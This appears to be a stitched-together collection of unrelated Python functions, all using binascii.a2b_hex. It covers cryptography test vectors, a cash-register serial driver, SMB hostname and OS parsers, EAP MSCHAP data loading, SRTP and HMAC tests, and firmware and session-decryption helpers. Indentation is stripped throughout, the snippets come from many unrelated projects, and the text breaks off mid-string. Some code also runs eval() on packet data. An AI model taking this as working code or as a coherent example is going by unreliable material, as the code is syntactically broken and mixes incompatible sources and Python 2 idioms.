def runTest(self):
for mode in (self.module.MODE_ECB, self.module.MODE_CBC, self.module.MODE_CFB, self.module.MODE_PGP, self.module.MODE_OFB):
encryption_cipher = self.module.new(a2b_hex(self.key), mode, self.iv)
decryption_cipher = self.module.new(a2b_hex(self.key), mode, self.iv)
ciphertext = encryption_cipher.encrypt(self.plaintext)
decrypted_plaintext = decryption_cipher.decrypt(ciphertext)
self.assertEqual(self.plaintext, decrypted_plaintext)
def test_HMAC_SHA256_stackoverflow_testvectors(self):
# these testvectors are taken from
# <http://stackoverflow.com/a/5136918/1248008>
vectors = [
((b"password", b"salt", 1, 32),
binascii.a2b_hex(b"120fb6cffcf8b32c43e7225256c4f837a86548c92ccc3"
b"5480805987cb70be17b")),
((b"password", b"salt", 2, 32),
binascii.a2b_hex(b"ae4d0c95af6b46d32d0adff928f06dd02a303f8ef3c25"
b"1dfd6e2d85a95474c43")),
((b"password", b"salt", 4096, 32),
binascii.a2b_hex(b"c5e478d59288c841aa530db6845c4c8d962893a001ce4"
b"e11a4963873aa98134a")),
((b"passwordPASSWORDpassword",
b"saltSALTsaltSALTsaltSALTsaltSALTsalt",
4096,
40),
binascii.a2b_hex(b"348c89dbcbd32b2f32d814b8116e84cf2b17347ebc180"
b"0181c4e2a1fb8dd53e1c635518c7dac47e9")),
((b"pass\0word",
b"sa\0lt",
4096,
16),
binascii.a2b_hex(b"89b69d0516f829893c696226650a8687")),
]
self._test_hmac_testvectors(vectors, hashlib.sha256)
def sale(ser, amount, price, text=u"", department=0, taxes=[0,0,0,0][:], fg_return=False, passwd=PASSWORD):
"""Продажа"""
if text:
cmdPrint(text, ser, passwd)
if fg_return:
cmdNo = 'W' # Возврат продажи
cmd = a2b_hex(str(passwd).rjust(4, '0')) + cmdNo + a2b_hex('%02d' % 0) +num2str(price) + num3str(amount)
else:
cmdNo = 'R' # Продажа
cmd = a2b_hex(str(passwd).rjust(4, '0')) + cmdNo + a2b_hex('%02d' % 0) +num2str(price) + num3str(amount) + a2b_hex('%02d' % department)
fmtA = '<B'
global LASTRESPONS
rr = None
try:
rr = sendCmd(cmd, fmtA, ser, passwd=passwd)
if 0 == rr[0]:
rr = getRespons()
if '0000' == rr[0]:
#data = LASTRESPONS[2]
pass
except Exception, e:
print 'err:', str(e)
rr = None
def runTest(self):
"""Regression test: m.new(key, m.MODE_CFB, segment_size=N) should require segment_size to be a multiple of 8 bits"""
iv = bchr(0) * self.module.block_size
for i in range(1, 8):
self.assertRaises(ValueError, self.module.new, a2b_hex(self.key),
self.module.MODE_CFB, iv, segment_size=i)
self.module.new(a2b_hex(self.key), self.module.MODE_CFB, iv, segment_size=8) # should succeed
def closeCheck(ser, nalichka, skidka=0, text=u"", summa2=0,summa3=0,summa4=0, taxes=[0,0,0,0][:], passwd=PASSWORD):
if skidka:
r = discount(ser, skidka, passwd)
if r and '0000' <> r[0]:
return r
# TODO: Надо реализовать разные типы оплаты
tipOplaty = 1 # Наличка
if summa2 > 0:
tipOplaty = 2
nalichka = summa2
elif summa3 > 0:
tipOplaty = 3
nalichka = summa3
elif summa4 > 0:
tipOplaty = 4
nalichka = summa4
cmd = a2b_hex(str(passwd).rjust(4, '0')) + 'J' + a2b_hex('%02d' % 0) + a2b_hex('%02d' % tipOplaty) + num2str(nalichka)
fmtA = '<B'
global LASTRESPONS
rr = None
try:
rr = sendCmd(cmd, fmtA, ser)
if 0 == rr[0]:
rr = getRespons()
if '0000' == rr[0]:
#data = LASTRESPONS[2]
#print LASTRESPONS
pass
except Exception, e:
print 'err:', str(e)
rr = None
def cmdX(ser=None, passwd=PASSWORD):
"""Суточный отчет без гашения """
resetMode()
#mode = getMode()
#print mode[0]
#return
setMode(2)
cmd = a2b_hex(str(passwd).rjust(4, '0')) + 'g' + a2b_hex('%02d' % 1)
fmtA = '<B'
global LASTRESPONS
rr = None
try:
rr = sendCmd(cmd, fmtA, ser)
if 0 == rr[0]:
rr = getRespons()
if '0000' == rr[0]:
#data = LASTRESPONS[2]
#print LASTRESPONS
pass
except Exception, e:
print 'err:', str(e)
rr = None
def setMode(mode, ser=None, passwd=PASSWORD):
"""Вход в режим
1 - Режим регистрации
2 - Режим отчетов без гашения
3 - Режим отчетов с гашением
4 - Режим программирования
5 - Режим доступа к ФП
6 - Режим доступа к ЭКЛЗ
"""
cmd = a2b_hex(str(passwd).rjust(4, '0')) + 'V' + a2b_hex('%02d' % mode) + a2b_hex('%08d' % 30)
fmtA = '<B'
global LASTRESPONS
rr = None
try:
rr = sendCmd(cmd, fmtA, ser)
if 0 == rr[0]:
rr = getRespons()
if '0000' == rr[0]:
#data = LASTRESPONS[2]
#print LASTRESPONS
pass
except Exception, e:
print 'err:', str(e)
rr = None
def testEncoder(self):
""" Tests minimal functionality of the learning Unicode codec """
ENC_UTF8 = "UTF-8"
ENC_LATIN1 = "ISO-8859-1"
ENC_CYRILLIC = "ISO-8859-5"
STR1_LATIN1 = "has an " + binascii.a2b_hex("FC") + "mlat"
STR1_UTF8 = "has an " + binascii.a2b_hex("C3BC") + "mlat"
STR1_UCS2 = "has an " + unichr(252) + "mlat"
STR2_LATIN1 = "DRAGON" + binascii.a2b_hex("A7") + "!"
STR2_CYRILLIC = "DRAGON" + binascii.a2b_hex("FD") + "!"
STR2_UCS2 = "DRAGON" + unichr(167) + "!"
# Spawn our own encoder instance so we don't abuse the module one.
encoder = sitemap_gen.Encoder()
# Convert Latin-1 to UTF-8, by way of Unicode
encoder.SetUserEncoding(ENC_LATIN1)
self.assertEqual(encoder.WidenText(STR1_LATIN1, None), STR1_UCS2)
self.assertEqual(encoder.NarrowText(STR1_UCS2, ENC_UTF8), STR1_UTF8)
# Test learning. STR1 has no Cyrillic equivalent, STR2 just changes.
encoder.SetUserEncoding(None)
encoder._learned = []
self.assertEqual(encoder.WidenText(STR2_CYRILLIC, ENC_CYRILLIC), STR2_UCS2)
self.assertEqual(encoder.WidenText(STR2_CYRILLIC, None), STR2_UCS2)
self.assertEqual(encoder.NarrowText(STR1_UCS2, None), STR1_UTF8)
self.assert_(not encoder._learned)
self.assertEqual(encoder.NarrowText(STR1_UCS2, ENC_LATIN1), STR1_LATIN1)
self.assertEqual(encoder.NarrowText(STR1_UCS2, None), STR1_LATIN1)
self.assertEqual(encoder.NarrowText(STR2_UCS2, None), STR2_LATIN1)
def test_hexewkb(self):
"Testing (HEX)EWKB output."
# For testing HEX(EWKB).
ogc_hex = b"01010000000000000000000000000000000000F03F"
ogc_hex_3d = b"01010000800000000000000000000000000000F03F0000000000000040"
# `SELECT ST_AsHEXEWKB(ST_GeomFromText('POINT(0 1)', 4326));`
hexewkb_2d = b"0101000020E61000000000000000000000000000000000F03F"
# `SELECT ST_AsHEXEWKB(ST_GeomFromEWKT('SRID=4326;POINT(0 1 2)'));`
hexewkb_3d = b"01010000A0E61000000000000000000000000000000000F03F0000000000000040"
pnt_2d = Point(0, 1, srid=4326)
pnt_3d = Point(0, 1, 2, srid=4326)
# OGC-compliant HEX will not have SRID value.
self.assertEqual(ogc_hex, pnt_2d.hex)
self.assertEqual(ogc_hex_3d, pnt_3d.hex)
# HEXEWKB should be appropriate for its dimension -- have to use an
# a WKBWriter w/dimension set accordingly, else GEOS will insert
# garbage into 3D coordinate if there is none.
self.assertEqual(hexewkb_2d, pnt_2d.hexewkb)
self.assertEqual(hexewkb_3d, pnt_3d.hexewkb)
self.assertEqual(True, GEOSGeometry(hexewkb_3d).hasz)
# Same for EWKB.
self.assertEqual(six.memoryview(a2b_hex(hexewkb_2d)), pnt_2d.ewkb)
self.assertEqual(six.memoryview(a2b_hex(hexewkb_3d)), pnt_3d.ewkb)
# Redundant sanity check.
self.assertEqual(4326, GEOSGeometry(hexewkb_2d).srid)
def get_client_info(self, client, newClient, _ElementTree):
eaptypes = client.find('eap-types')
if ElementTree.iselement(eaptypes):
eaptypes = eaptypes.text
if eaptypes != None:
for eaptype in eaptypes.strip().split(','):
if eaptype.isdigit():
newClient.addEapType(int(eaptype))
identities = client.findall('identity') or []
for identity in identities:
tmp = identity.get('eap-type')
if tmp.isdigit():
newClient.add_identity(int(tmp), identity.text.strip())
mschaps = client.findall('mschap') or []
for mschap in mschaps:
newClient.add_ms_chap_info(
int(mschap.get('eap-type')),
binascii.a2b_hex(mschap.find('challenge').text.strip().replace(':', '')),
binascii.a2b_hex(mschap.find('response').text.strip().replace(':', '')),
mschap.get('identity')
)
wpsXMLData = client.find('wps-data')
if ElementTree.iselement(wpsXMLData):
wpsData = wpsDataHolder()
for elem in wpsXMLData:
key = elem.tag.replace('-', ' ')
value = elem.text.strip()
if elem.get('encoding') == 'hex':
wpsData[key] = binascii.a2b_hex(value)
elif elem.get('encoding') == 'base64':
wpsData[key] = base64.standard_b64decode(value)
else:
wpsData[key] = value
if len(wpsData):
newClient.wpsData = wpsData
def test_srtp_auth():
m = b"hello_rtp"
master_key= a2b_hex('00000000000000000000000000000000')
master_salt= a2b_hex('0000000000000000000000000000')
ck,sk,ak= srtp_derive_key_aes_128(master_key, master_salt)
assert b2a_hex(ak) == b'788bcd111ecf73d4e78d2e21bef55460daacdaf7'
ma = srtp_sign_packet(ak, m, 0)
assert b2a_hex(ma[-10:]) == b'e60c68053178ee795142'
assert srtp_verify_and_strip_signature(ak, ma, 0) == m
try:
srtp_verify_and_strip_signature(ak, ma, 1) # wrong roc should fail authentication
assert False
except AuthenticationFailure:
pass
try:
srtp_verify_and_strip_signature(ak, b'\xff' + ma[1:], 1) # modified message should fail auth
assert False
except AuthenticationFailure:
pass
ck,sk,ak= srtp_derive_key_aes_128(master_key, master_salt, rtcp=True)
encrypted_srtcp = True
packet_i_srtcp = 1
data = a2b_hex ('80cc000810feff99466c75782105000310feff990000100200001603000000090000000400000001a0573cb69ef3c96e1253')
data2 = a2b_hex('80cc000810feff99466c75782105000310feff990000100200001603000000090000000480000002e24513e079e366eb82e6')
assert srtcp_sign_packet(ak, data[:-14], packet_i_srtcp, not encrypted_srtcp) == data
assert srtcp_verify_and_strip_signature(ak, data) == (data[:-14], packet_i_srtcp, not encrypted_srtcp)
assert srtcp_sign_packet(ak, data[:-14], packet_i_srtcp+1, encrypted_srtcp) == data2
assert srtcp_verify_and_strip_signature(ak, data2) == (data2[:-14], packet_i_srtcp+1, encrypted_srtcp)
def getOSInfo(data):
try:
if not data.strip():
raise
info = data[45 * 2:]
infos = u""
for i in xrange(0, len(info), 2):
infos += r"\x" + info[i:i + 2]
try:
osOffset = infos.find(r"\x00") + 4
os = infos[:osOffset].replace("00", "").replace(r"\x", "")
os = binascii.a2b_hex(os)
except Exception, e:
print e
os = "Unknown"
try:
lmOffset = infos.find(r"\x00", osOffset) + 4
lm = infos[osOffset:lmOffset].replace("00", "").replace(r"\x", "")
lm = binascii.a2b_hex(lm)
except:
lm = "Unknown"
try:
domain = binascii.a2b_hex(infos[lmOffset:].replace("00", "").replace(r"\x", ""))
except:
domain = "Unknown"
return os, lm, domain
def test7(self):
return
print '- Test 7 -----------------------------------------------------------------'
a = readCapture('/root/eng_test-aaa-aaa-07_pkttrace_g0_g1.pdml')
snmppkts = a.endpoints['10.206.25.10'].snmp
pkt=snmppkts[0]
print pkt.getFieldFindShow('Value: OBJECTID: 1.3.6.1.4.1.7684.2.5.0.13')
for pkt in snmppkts:
val=pkt.getFieldFindShow('Value: OBJECTID: 1.3.6.1.4.1.7684.2.5.0.13')
a = pkt.getFieldFindShowValue('Value: OBJECTID: 1.3.6.1.4.1.7684.2.5.0.13')
if (a !=None):
print a
b='0x'+a
x=a.upper()
#print oct(b)
m = eval(b)
print m
p = str(a)
print p
import binascii
print binascii.a2b_hex(p)
#print "%d" %int(b)
#print "%o" %(int(pkt.getFieldFindShowValue('Value: OBJECTID: 1.3.6.1.4.1.7684.2.5.0.13')))
if (val != None) and (val==True):
print "Found Primary Server Status"
print pkt.getFieldFirstShowName('ip.src')
def callbackmotor1(data):
vel_1 = motormath(data.data)
if vel_1 < 0:
vel_1_hex = hex((abs(vel_1) ^ 0xffffffff) +1)[2:].strip( 'L' )
else:
vel_1_hex = hex(vel_1)[2:].zfill(8)
vel_1_hex_int = int(vel_1_hex,16)
# Converts the velocity hex value into the little endien format and puts it into the
# proper hex format and gets the CRC value
vel_1_final = struct.pack('<q', vel_1_hex_int).encode('hex')[:8]
chk_sum_data = hex(crc16.crc16xmodem(binascii.a2b_hex(vel_1_final))).strip('0x').zfill(4)
# Generates the word number value and calculates the CRC
#cmd_word_count = "{0:0>2}".format(hex(int(math.floor(len(vel_1_final.rstrip('0'))/2))).strip( '0x' ))
cmd_word_count = struct.pack('h', int(math.floor(len(vel_1_final.rstrip('0'))/2))).encode('hex')[:2]
chk_sum_cmd = hex(crc16.crc16xmodem(vel_mode + binascii.a2b_hex(cmd_word_count))).strip('0x')
motor_command_1 = binascii.b2a_hex(vel_mode) + chk_sum_cmd + vel_1_final + chk_sum_data
print "Motor 1 Command:"
print motor_command_1
def time_signature_event(self, meter=(4, 4)):
"""Returns a time signature event for meter."""
numer = a2b_hex('%02x' % meter[0])
denom = a2b_hex('%02x' % int(log(meter[1], 2)))
return self.delta_time + META_EVENT + TIME_SIGNATURE + '\x04' + numer\
+ denom + '\x18\x08'
def challenge_ok(b64cert, mychal, ourchal, signature):
import bdocpython
if not signature:
return False, 'DDS did not return signed challenge'
bmychal = binascii.a2b_hex(mychal)
bchal = binascii.a2b_hex(ourchal)
if (bmychal != bchal[0:10]):
return False, 'My challenge not present in our challenge'
bcert = binascii.a2b_base64(b64cert)
bsign = binascii.a2b_base64(signature)
cv = bdocpython.ChallengeVerifier()
cv.setCertificate(bcert)
cv.setChallenge(bchal)
cv.setSignature(bsign)
res = cv.isChallengeOk()
if not res:
return False, cv.error
return True, None
def runTest(self):
for hashname in list(self.expected_dict.keys()):
hashmod = self.hashmods[hashname]
key = binascii.a2b_hex(b(self.key))
data = binascii.a2b_hex(b(self.input))
# Strip whitespace from the expected string (which should be in lowercase-hex)
expected = b("".join(self.expected_dict[hashname].split()))
h = self.hashmod.new(key, digestmod=hashmod)
h.update(data)
out1 = binascii.b2a_hex(h.digest())
out2 = h.hexdigest()
h = self.hashmod.new(key, data, hashmod)
out3 = h.hexdigest()
out4 = binascii.b2a_hex(h.digest())
# Test .copy()
h2 = h.copy()
h.update(b("blah blah blah")) # Corrupt the original hash object
out5 = binascii.b2a_hex(h2.digest()) # The copied hash object should return the correct result
# PY3K: hexdigest() should return str(), and digest() bytes
self.assertEqual(expected, out1)
if sys.version_info[0] == 2:
self.assertEqual(expected, out2)
self.assertEqual(expected, out3)
else:
self.assertEqual(expected.decode(), out2)
self.assertEqual(expected.decode(), out3)
self.assertEqual(expected, out4)
self.assertEqual(expected, out5)
def _s3_decrypt_image(context, encrypted_filename, encrypted_key,
encrypted_iv, decrypted_filename):
encrypted_key = binascii.a2b_hex(encrypted_key)
encrypted_iv = binascii.a2b_hex(encrypted_iv)
cert_client = clients.nova_cert(context)
try:
key = cert_client.decrypt_text(base64.b64encode(encrypted_key))
except Exception as exc:
msg = _('Failed to decrypt private key: %s') % exc
raise exception.EC2Exception(msg)
try:
iv = cert_client.decrypt_text(base64.b64encode(encrypted_iv))
except Exception as exc:
msg = _('Failed to decrypt initialization vector: %s') % exc
raise exception.EC2Exception(msg)
try:
processutils.execute('openssl', 'enc',
'-d', '-aes-128-cbc',
'-in', '%s' % (encrypted_filename,),
'-K', '%s' % (key,),
'-iv', '%s' % (iv,),
'-out', '%s' % (decrypted_filename,))
except processutils.ProcessExecutionError as exc:
raise exception.EC2Exception(_('Failed to decrypt image file '
'%(image_file)s: %(err)s') %
{'image_file': encrypted_filename,
'err': exc.stdout})
def handle(self):
self.data=''
global receiveReportRes
threading.Thread(target=reportThread,args=(self.request,)).start()
while 1:
oneMsgData=''
length=0
if self.data=='':
self.data=self.request.recv(2048).strip()
if self.data!='':
for c in self.data:
if c==binascii.a2b_hex('02'):
continue
if c==binascii.a2b_hex('03'):
self.data=self.data[length+2:]
#print self.data
break
oneMsgData+=c
length+=1
print oneMsgData
responseMsg=decode(oneMsgData)
if responseMsg!='':
self.wfile.write(responseMsg)
else:
continue
time.sleep(0.001)
def testEncoder(self):
""" Tests minimal functionality of the learning Unicode codec """
ENC_UTF8 = 'UTF-8'
ENC_LATIN1 = 'ISO-8859-1'
ENC_CYRILLIC = 'ISO-8859-5'
STR1_LATIN1 = 'has an ' + binascii.a2b_hex('FC') + 'mlat'
STR1_UTF8 = 'has an ' + binascii.a2b_hex('C3BC') + 'mlat'
STR1_UCS2 = 'has an ' + unichr(252) + 'mlat'
STR2_LATIN1 = 'DRAGON' + binascii.a2b_hex('A7') + '!'
STR2_CYRILLIC = 'DRAGON' + binascii.a2b_hex('FD') + '!'
STR2_UCS2 = 'DRAGON' + unichr(167) + '!'
# Spawn our own encoder instance so we don't abuse the module one.
encoder = sitemap_gen.Encoder()
# Convert Latin-1 to UTF-8, by way of Unicode
encoder.SetUserEncoding(ENC_LATIN1)
self.assertEqual(encoder.WidenText(STR1_LATIN1, None), STR1_UCS2)
self.assertEqual(encoder.NarrowText(STR1_UCS2, ENC_UTF8), STR1_UTF8)
# Test learning. STR1 has no Cyrillic equivalent, STR2 just changes.
encoder.SetUserEncoding(None)
encoder._learned = []
self.assertEqual(encoder.WidenText(STR2_CYRILLIC, ENC_CYRILLIC), STR2_UCS2)
self.assertEqual(encoder.WidenText(STR2_CYRILLIC, None), STR2_UCS2)
self.assertEqual(encoder.NarrowText(STR1_UCS2, None), STR1_UTF8)
self.assert_(not encoder._learned)
self.assertEqual(encoder.NarrowText(STR1_UCS2, ENC_LATIN1), STR1_LATIN1)
self.assertEqual(encoder.NarrowText(STR1_UCS2, None), STR1_LATIN1)
self.assertEqual(encoder.NarrowText(STR2_UCS2, None), STR2_LATIN1)
def getHostname(data):
net_bios_header_len = 4
smb_header_len = 32
smb_cmd_ex_len = 7
iPos = (smb_header_len + net_bios_header_len + smb_cmd_ex_len) * 2
blobHex = data[iPos:iPos + 4]
if blobHex[2:] == "00":
blobHex = blobHex[0:2]
blob_len = int(blobHex, 16)
iPos += 8
secBlob = data[iPos:iPos + blob_len * 2]
token = secBlob[secBlob.find('4e544c4d53535000'):]
iLen = int(token[24:12 * 2 + 4].replace('00', ''), 16)
offset = int(token[32:16 * 2 + 8].replace('00', ''), 16)
iPos = offset * 2
name = token[iPos:iPos + iLen * 2]
names = u""
for i in xrange(0,len(name), 2):
names += r"\x" + name[i:i + 2]
name = names.split(r"\x00\x00")
name = name[0].replace(r'\x', '').replace('00', '')
print ("%-30s %-30s" % ("Target Name:", binascii.a2b_hex(name)))
return binascii.a2b_hex(name)
def runTest(self):
for hashname in self.expected_dict.keys():
hashmod = self.hashmods[hashname]
key = binascii.a2b_hex(self.key)
data = binascii.a2b_hex(self.input)
# Strip whitespace from the expected string (which should be in lowercase-hex)
expected = self.expected_dict[hashname]
for ch in string.whitespace:
expected = expected.replace(ch, "")
h = self.hashmod.new(key, digestmod=hashmod)
h.update(data)
out1 = binascii.b2a_hex(h.digest())
out2 = h.hexdigest()
h = self.hashmod.new(key, data, hashmod)
out3 = h.hexdigest()
out4 = binascii.b2a_hex(h.digest())
# Test .copy()
h2 = h.copy()
h.update("blah blah blah") # Corrupt the original hash object
out5 = binascii.b2a_hex(h2.digest()) # The copied hash object should return the correct result
self.assertEqual(expected, out1)
self.assertEqual(expected, out2)
self.assertEqual(expected, out3)
self.assertEqual(expected, out4)
self.assertEqual(expected, out5)
def get_password_for_session(request):
"""
Decrypt and return the password stored in a request's associated session
returns None on failure
"""
try:
secret = settings.SECRET_CRYPTO_KEY
except KeyError:
raise ImproperlyConfigured('Crypto Key Env Var is missing!')
try:
# IV and password are stored as hex strings, and need to be turned into
# byte arrays. These values are stored as hex strings so that we can
# use the JSONSerializer for sessions.
encryption_iv = binascii.a2b_hex(request.session.get('encryption_iv'))
enc_password = binascii.a2b_hex(
request.session.get('password_encrypted'))
cipher = AES.new(secret, AES.MODE_CFB,
encryption_iv)
password = cipher.decrypt(enc_password)
except (TypeError, KeyError):
logger.error(
'Attempted to retrieve password for session with missing info')
return None
return password
def dispatch(self, request, *args, **kwargs):
with Session() as s:
try:
fileName = kwargs['file']
prefix, basename = splitFileName(kwargs['file'])
title = a2b_hex(basename)
atime = int(kwargs['time'])
id_hex = kwargs['id']
id_bin = a2b_hex(id_hex)
addr = kwargs['node'].replace('+', '/')
except (BadFileNameException, binascii.Error, ValueError):
return HttpResponseBadRequest()
if addr.startswith(':') or addr.startswith('/'):
addr = request.META['REMOTE_ADDR'] + addr
response = HttpResponse()
if prefix=='thread':
if Recent.get(s, atime, id_bin, fileName).first():
return response
thread_id = Thread.get(s, title=title).value(Thread.id)
if thread_id:
msgqueue.getAndUpdateRecord(addr, thread_id, id_hex, atime)
try:
Recent.add(s, timestamp=atime, binId=id_bin, fileName=fileName)
s.commit()
except IntegrityError:
s.rollback()
return response
def encode(self, entry):
if isinstance(entry, LogEntry):
parent_hash = binascii.a2b_hex(entry.parent_hash)
timestamp = struct.pack('>I', entry.timestamp)
action = self.ACTION_MAP[entry.action].encode()
name = entry.name.encode()
name_offset = struct.pack('B', len(name))
content = entry.content
if entry.action in (entry.WRITE, entry.LINK, entry.REVERT):
content = binascii.a2b_hex(content)
elif entry.action == entry.GRANT:
content = content.to_der()
elif entry.action == entry.MODE:
content = struct.pack('>I', content)
else:
content = content.encode()
content_offset = struct.pack('B', len(content))
fingerprint = binascii.a2b_hex(entry.fingerprint.replace(':', ''))
signature = entry.signature
return b''.join((b'e', parent_hash, timestamp, action, name_offset, name,
content_offset, content, fingerprint, signature))
elif isinstance(entry, Block):
block = entry
next_hash = binascii.a2b_hex(block.next_hash if block.next_hash else '0'*block.HASH_SIZE)
return b''.join((b'b', next_hash, block.content))
def writefrags(server, manifest, mediaid):
with open('/tmp/frags', 'wb') as fh:
fh.write( binascii.a2b_hex( "464c56010500000009000000001200010c00000000000000" ) )
fh.write( manifest['media'][4]['metadata'] )
fh.write( binascii.a2b_hex( "00000000" ) ) # pad to have correct block size
for i in xrange(1, int(manifest['duration']/6)):
fh.write(get_and_cut_fragment(get_fragment_url(server, manifest, mediaid, i), i))
def test_sproto_pack(self):
result = a2b_hex("04000000d40700000000070000006372797374616c130000006372797374616c406578616d706c652e636f6d260000000f0000000200000004000500000031303038360f000000020000000600050000003130303130")
pack_result = sproto_pack(result)
#print len(pack_result)
#print b2a_hex(pack_result)
expected = a2b_hex("3104d407c40763723f797374616c13fe6372797374616cff00406578616d706c651f2e636f6d26110f02c5040531308f3038360f022806053e3130303130")
self.assertEqual(expected, pack_result)
def runTest(self):
from Crypto.Util import Counter
def pythonCounter():
state = [0]
def ctr():
# First block succeeds; Second and subsequent blocks raise OverflowError
if state[0] == 0:
state[0] = 1
return b("\xff") * self.module.block_size
else:
raise OverflowError
return ctr
for little_endian in (0, 1): # (False, True) Test both endiannesses
block = b("\x00") * self.module.block_size
# Test PyObject_CallObject code path: if the counter raises OverflowError
cipher = self.module.new(a2b_hex(self.key), self.module.MODE_CTR, counter=pythonCounter())
cipher.encrypt(block)
self.assertRaises(OverflowError, cipher.encrypt, block)
self.assertRaises(OverflowError, cipher.encrypt, block)
# Test PyObject_CallObject code path: counter object should raise OverflowError
ctr = Counter.new(8*self.module.block_size, initial_value=2L**(8*self.module.block_size)-1, little_endian=little_endian)
ctr()
self.assertRaises(OverflowError, ctr)
self.assertRaises(OverflowError, ctr)
# Test the CTR-mode shortcut
ctr = Counter.new(8*self.module.block_size, initial_value=2L**(8*self.module.block_size)-1, little_endian=little_endian)
cipher = self.module.new(a2b_hex(self.key), self.module.MODE_CTR, counter=ctr)
cipher.encrypt(block)
self.assertRaises(OverflowError, cipher.encrypt, block)
self.assertRaises(OverflowError, cipher.encrypt, block)
def _new(self, do_decryption=0):
params = self.extra_params.copy()
# Handle CTR mode parameters. By default, we use Counter.new(self.module.block_size)
if hasattr(self.module, "MODE_CTR") and self.mode == self.module.MODE_CTR:
from Crypto.Util import Counter
ctr_class = _extract(params, 'ctr_class', Counter.new)
ctr_params = _extract(params, 'ctr_params', {}).copy()
if ctr_params.has_key('prefix'): ctr_params['prefix'] = a2b_hex(b(ctr_params['prefix']))
if ctr_params.has_key('suffix'): ctr_params['suffix'] = a2b_hex(b(ctr_params['suffix']))
if not ctr_params.has_key('nbits'):
ctr_params['nbits'] = 8*(self.module.block_size - len(ctr_params.get('prefix', '')) - len(ctr_params.get('suffix', '')))
params['counter'] = ctr_class(**ctr_params)
if self.mode is None:
if self.iv is None:
return self.module.new(a2b_hex(self.key), **params)
else:
return self.module.new(a2b_hex(self.key), a2b_hex(self.iv), **params)
elif self.iv is None:
# Block cipher without iv
return self.module.new(a2b_hex(self.key), self.mode, **params)
else:
# Block cipher with iv
if do_decryption and self.mode == self.module.MODE_OPENPGP:
# In PGP mode, the IV to feed for decryption is the *encrypted* one
return self.module.new(a2b_hex(self.key), self.mode, a2b_hex(self.encrypted_iv), **params)
else:
return self.module.new(a2b_hex(self.key), self.mode, a2b_hex(self.iv), **params)
def parse(self):
'''Read's the firmware into a list of (array_id, row_number, data)
tuples.
'''
lines = self.file.readlines()
header_line = lines.pop(0).rstrip('\r\n')
header = binascii.a2b_hex(header_line)
self.silicon_id = header[3]
self.silicon_id |= header[2] << 8
self.silicon_id |= header[1] << 16
self.silicon_id |= header[0] << 24
self.silicon_revision = header[4]
self.checksum_type = header[5]
firmware = []
for line in lines:
line = binascii.a2b_hex(line[1:].rstrip('\r\n'))
array_id = line[0]
row_number = (line[1] << 8) | line[2]
data_length = (line[3] << 8) | line[4]
data = line[5:5+data_length]
checksum = line[5+data_length]
checksum_calculated = self._checksum(line[:-1])
assert checksum == checksum_calculated
firmware.append((array_id, row_number, data))
self.firmware = firmware
def time_signature_event(self, meter=(4, 4)):
"""Return a time signature event for meter."""
numer = a2b_hex('%02x' % meter[0])
denom = a2b_hex('%02x' % int(log(meter[1], 2)))
return self.delta_time + META_EVENT + TIME_SIGNATURE + '\x04' + numer \
+ denom + '\x18\x08'
def testPSSTestVector(self):
# Test vector taken from http://www.rsa.com/rsalabs/node.asp?id=2125
# ---------------------------------
# Step-by-step RSASSA-PSS Signature
# ---------------------------------
# Message M to be signed:
m = a2b_hex(
bytes(
'85 9e ef 2f d7 8a ca 00 30 8b dc 47 11 93 bf 55\
bf 9d 78 db 8f 8a 67 2b 48 46 34 f3 c9 c2 6e 64\
78 ae 10 26 0f e0 dd 8c 08 2e 53 a5 29 3a f2 17\
3c d5 0c 6d 5d 35 4f eb f7 8b 26 02 1c 25 c0 27\
12 e7 8c d4 69 4c 9f 46 97 77 e4 51 e7 f8 e9 e0\
4c d3 73 9c 6b bf ed ae 48 7f b5 56 44 e9 ca 74\
ff 77 a5 3c b7 29 80 2f 6e d4 a5 ff a8 ba 15 98\
90 fc'.replace(" ", ""), 'utf-8'))
# mHash = Hash(M)
# salt = random string of octets
# M' = Padding || mHash || salt
# H = Hash(M')
# DB = Padding || salt
# dbMask = MGF(H, length(DB))
# maskedDB = DB xor dbMask (leftmost bit set to
# zero)
# EM = maskedDB || H || 0xbc
# mHash:
mHash = a2b_hex(
bytes(
'37 b6 6a e0 44 58 43 35 3d 47 ec b0 b4 fd 14 c1\
10 e6 2d 6a'.replace(" ", ""), 'utf-8'))
# salt:
salt = a2b_hex(
bytes(
'e3 b5 d5 d0 02 c1 bc e5 0c 2b 65 ef 88 a1 88 d8\
3b ce 7e 61'.replace(" ", ""), 'utf-8'))
# M':
mPrime = a2b_hex(
bytes(
'00 00 00 00 00 00 00 00 37 b6 6a e0 44 58 43 35\
3d 47 ec b0 b4 fd 14 c1 10 e6 2d 6a e3 b5 d5 d0\
02 c1 bc e5 0c 2b 65 ef 88 a1 88 d8 3b ce 7e 61'.replace(" ", ""),
'utf-8'))
# H:
H = a2b_hex(
bytes(
'df 1a 89 6f 9d 8b c8 16 d9 7c d7 a2 c4 3b ad 54\
6f be 8c fe'.replace(" ", ""), 'utf-8'))
# DB:
DB = a2b_hex(
bytes(
'00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\
00 00 00 00 00 00 01 e3 b5 d5 d0 02 c1 bc e5 0c\
2b 65 ef 88 a1 88 d8 3b ce 7e 61'.replace(" ", ""), 'utf-8'))
# dbMask:
dbMask = a2b_hex(
bytes(
'66 e4 67 2e 83 6a d1 21 ba 24 4b ed 65 76 b8 67\
d9 a4 47 c2 8a 6e 66 a5 b8 7d ee 7f bc 7e 65 af\
50 57 f8 6f ae 89 84 d9 ba 7f 96 9a d6 fe 02 a4\
d7 5f 74 45 fe fd d8 5b 6d 3a 47 7c 28 d2 4b a1\
e3 75 6f 79 2d d1 dc e8 ca 94 44 0e cb 52 79 ec\
d3 18 3a 31 1f c8 97 39 a9 66 43 13 6e 8b 0f 46\
5e 87 a4 53 5c d4 c5 9b 10 02 8d'.replace(" ", ""), 'utf-8'))
# maskedDB:
maskedDB = a2b_hex(
bytes(
'66 e4 67 2e 83 6a d1 21 ba 24 4b ed 65 76 b8 67\
d9 a4 47 c2 8a 6e 66 a5 b8 7d ee 7f bc 7e 65 af\
50 57 f8 6f ae 89 84 d9 ba 7f 96 9a d6 fe 02 a4\
d7 5f 74 45 fe fd d8 5b 6d 3a 47 7c 28 d2 4b a1\
e3 75 6f 79 2d d1 dc e8 ca 94 44 0e cb 52 79 ec\
d3 18 3a 31 1f c8 96 da 1c b3 93 11 af 37 ea 4a\
